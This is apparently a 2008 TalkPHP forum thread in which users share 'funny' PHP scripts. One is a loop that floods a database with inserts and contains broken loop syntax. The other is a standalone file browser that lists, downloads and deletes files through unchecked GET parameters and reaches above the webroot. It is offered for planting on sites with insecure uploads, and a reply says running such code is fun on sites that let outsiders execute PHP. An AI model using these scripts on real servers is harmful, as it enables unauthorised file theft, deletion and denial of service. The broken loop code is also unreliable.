TalkPHP

TalkPHP (http://www.talkphp.com/forums.php)
-   Tips & Tricks (http://www.talkphp.com/tips-tricks/)
-   -   show me your funny little app (http://www.talkphp.com/tips-tricks/2729-show-me-your-funny-little-app.html)

sarmenhb 04-29-2008 03:26 AM

show me your funny little app
 
i made a script that when ran will increase a databases size in infinite increments untill the browser is closed.
how me what you can create :p

Code:

$host = "localhost";
$login = "root";
$password = "pass";
$database = "db_loop";

$con = mysql_connect($host,$login,$password);
mysql_select_db($database);

while($i=0;$i< $i+1; $i++) {

$sql = "INSERT INTO tbl_loop(id) values('$i')";
$output = mysql_query($sql);

}


Village Idiot 04-29-2008 04:20 AM

A more recent creation of mine. This will let you browse directories, download files and delete files. Useful to prove to someone that their upload site needs securing. It is 100% standalone and works on linux and windows. It also works above and below the webroot, so long as you have the permissions.

PHP Code:

<?php
$extension 
$_GET["e"];
$function $_GET["f"];
$file $_GET["fi"];


//handle the delete function
if($function == "delete")
{
    
unlink(getcwd().$extension.$file);
    echo 
"Deleted<br />
    <a href=\"?e=
$extension/\">return</a><br />";
}

if(
$function == "down")
{
    
header("Content-Type: application/octet-stream");
    
header("Content-Disposition: filename=$file");
    
readfile(getcwd().$extension."/".$file);
    die();
    
}

?>
<h3>files</h3>
<?php

if ($handle opendir(getcwd().$extension)) 
{
    while (
false !== ($file readdir($handle))) 
    {
        if (
$file != "." && $file != ".."
        {
            if(
stristr($file,".") == true)
            {
                echo 
"<a href=\"?e=$extension/".$file."\">".$file."</a> - <a href=\"?e=$extension&f=delete&fi=$file\">Delete</a> - <a href=\"?e=$extension&f=down&fi=$file\">Download</a><br />\n";
            }
            else
            {
                
$dir_array[] = "<a href=\"?e=$extension/"."$file\">$file</a><br />";
            }
        }
    }
    
?>
    <br /> <br />
    <h3>Directories</h3>
    <?php
    
if(!is_array($dir_array))
    {
        echo 
"No Directories";
    }
    else
    {
        foreach(
$dir_array as $dir)
        {
            echo 
$dir;
        }
    }
    echo 
"<br /><br /><a href=\"?e=$extension/"."../\">Return</a><br />";
    echo 
"<br /><br /><a href=\"?e=\">Return to file location</a>";
    
closedir($handle);
}

?>


Jim 05-08-2008 12:13 PM

Quote:

Originally Posted by sarmenhb (Post 14074)
i made a script that when ran will increase a databases size in infinite increments untill the browser is closed.
how me what you can create :p

Code:

$host = "localhost";
$login = "root";
$password = "pass";
$database = "db_loop";

$con = mysql_connect($host,$login,$password);
mysql_select_db($database);

while($i=0;$i< $i+1; $i++) {

$sql = "INSERT INTO tbl_loop(id) values('$i')";
$output = mysql_query($sql);

}


Simple but funny when you found a website were you can excecute your own PHP :)

@Village Idiot: Why the f*** do you have hitler in your signature :S. Many people here in Europe died by his actions...

quantumkangaroo 05-08-2008 01:52 PM

Quote:

Originally Posted by Jim (Post 14454)
Simple but funny when you found a website were you can excecute your own PHP :)

@Village Idiot: Why the f*** do you have hitler in your signature :S. Many people here in Europe died by his actions...

because its ironic?

Village Idiot 05-08-2008 03:00 PM

Quote:

Originally Posted by Jim (Post 14454)
@Village Idiot: Why the f*** do you have hitler in your signature :S. Many people here in Europe died by his actions...

Exactly, and lets not forget the Americans and Russians the Nazis killed. Read the text and you will get the point.


All times are GMT. The time now is 01:28 AM.

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0